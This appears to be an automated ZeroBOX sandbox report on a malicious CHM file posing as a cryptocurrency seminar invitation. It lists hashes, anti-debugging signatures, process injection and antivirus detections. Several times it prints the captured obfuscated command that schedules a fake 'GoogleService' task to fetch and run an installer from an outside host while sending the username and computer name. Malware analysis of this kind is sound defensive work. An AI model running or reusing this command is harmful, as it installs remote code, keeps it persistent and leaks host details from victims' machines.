popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Invitation To Attend Cryptocurrency Awareness Seminar.chm

AntiVM AntiDebug CHM Format
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Sept. 4, 2023, 3:04 p.m. Sept. 4, 2023, 3:06 p.m.
Size 11.0KB
Type MS Windows HtmlHelp Data
MD5 0b4aab3d1e2946b15b70a63187c1f927
SHA256 413d0aacddad41105f9f04de12cae9420919083796ed856df47ee2c7b3767fda
CRC32 DB387411
ssdeep 48:BH/gB09I06QRlEFlErlEl6I5s+BIj9SElv2JlMLFCBkkqGdDHugTae8Bn7pWH8N:BHNIDagi2/oC0iHfae4VWHW
Yara
  • chm_file_format - chm file format

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: SUCCESS: The scheduled task "GoogleService" has successfully been created.
console_handle: 0x0000000000000007
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2664
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000000007304c000
process_handle: 0xffffffffffffffff
1 0 0
cmdline schtasks /create /sc minute /mo 15 /tn GoogleService /tr "%coMSPec% /c s^ta^rt /^m^i^n m^s^i^e^xe^c ^/^i h^tt^p://da^sh^o^nl^in^e^c^l^u^b.^c^o^m/C^V^B^N/^m^zx.p^hp^?^p^i=%username%*%computername% /^q^n ^/^norestart" /f
cmdline "C:\Windows\System32\schtasks.exe" /create /sc minute /mo 15 /tn GoogleService /tr "%coMSPec% /c s^ta^rt /^m^i^n m^s^i^e^xe^c ^/^i h^tt^p://da^sh^o^nl^in^e^c^l^u^b.^c^o^m/C^V^B^N/^m^zx.p^hp^?^p^i=%username%*%computername% /^q^n ^/^norestart" /f
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2664
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 32 (PAGE_EXECUTE_READ)
base_address: 0x000007fffff94000
process_handle: 0xffffffffffffffff
1 0 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
cmdline schtasks /create /sc minute /mo 15 /tn GoogleService /tr "%coMSPec% /c s^ta^rt /^m^i^n m^s^i^e^xe^c ^/^i h^tt^p://da^sh^o^nl^in^e^c^l^u^b.^c^o^m/C^V^B^N/^m^zx.p^hp^?^p^i=%username%*%computername% /^q^n ^/^norestart" /f
cmdline "C:\Windows\System32\schtasks.exe" /create /sc minute /mo 15 /tn GoogleService /tr "%coMSPec% /c s^ta^rt /^m^i^n m^s^i^e^xe^c ^/^i h^tt^p://da^sh^o^nl^in^e^c^l^u^b.^c^o^m/C^V^B^N/^m^zx.p^hp^?^p^i=%username%*%computername% /^q^n ^/^norestart" /f
cmdline schtasks /create /sc minute /mo 15 /tn GoogleService /tr "%coMSPec% /c s^ta^rt /^m^i^n m^s^i^e^xe^c ^/^i h^tt^p://da^sh^o^nl^in^e^c^l^u^b.^c^o^m/C^V^B^N/^m^zx.p^hp^?^p^i=%username%*%computername% /^q^n ^/^norestart" /f
cmdline "C:\Windows\System32\schtasks.exe" /create /sc minute /mo 15 /tn GoogleService /tr "%coMSPec% /c s^ta^rt /^m^i^n m^s^i^e^xe^c ^/^i h^tt^p://da^sh^o^nl^in^e^c^l^u^b.^c^o^m/C^V^B^N/^m^zx.p^hp^?^p^i=%username%*%computername% /^q^n ^/^norestart" /f
Process injection Process 2576 resumed a thread in remote process 2664
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000284
suspend_count: 1
process_identifier: 2664
1 0 0
ALYac Generic.Agent.CHM.1.489D76A5
Sangfor Trojan.Generic-Script.Save.aadd533b
Symantec Trojan.Gen.NPE
ESET-NOD32 HTML/TrojanDownloader.Agent.NKU
Kaspersky HEUR:Trojan.Script.Generic
BitDefender Generic.Agent.CHM.1.489D76A5
MicroWorld-eScan Generic.Agent.CHM.1.489D76A5
Rising Trojan.MouseJack/HTML!1.BE26 (CLASSIC)
Emsisoft Generic.Agent.CHM.1.489D76A5 (B)
DrWeb Exploit.ActiveX.23
VIPRE Generic.Agent.CHM.1.489D76A5
McAfee-GW-Edition Artemis!Trojan
FireEye Generic.Agent.CHM.1.489D76A5
GData Generic.Agent.CHM.1.489D76A5
Arcabit Generic.Agent.CHM.1.489D76A5
ZoneAlarm HEUR:Trojan.Script.Generic
AhnLab-V3 Downloader/HTML.Generic.S2220
MAX malware (ai score=83)
Tencent Win32.Trojan-Downloader.Ader.Vmhl
Fortinet HTML/Agent.NKU!tr.dldr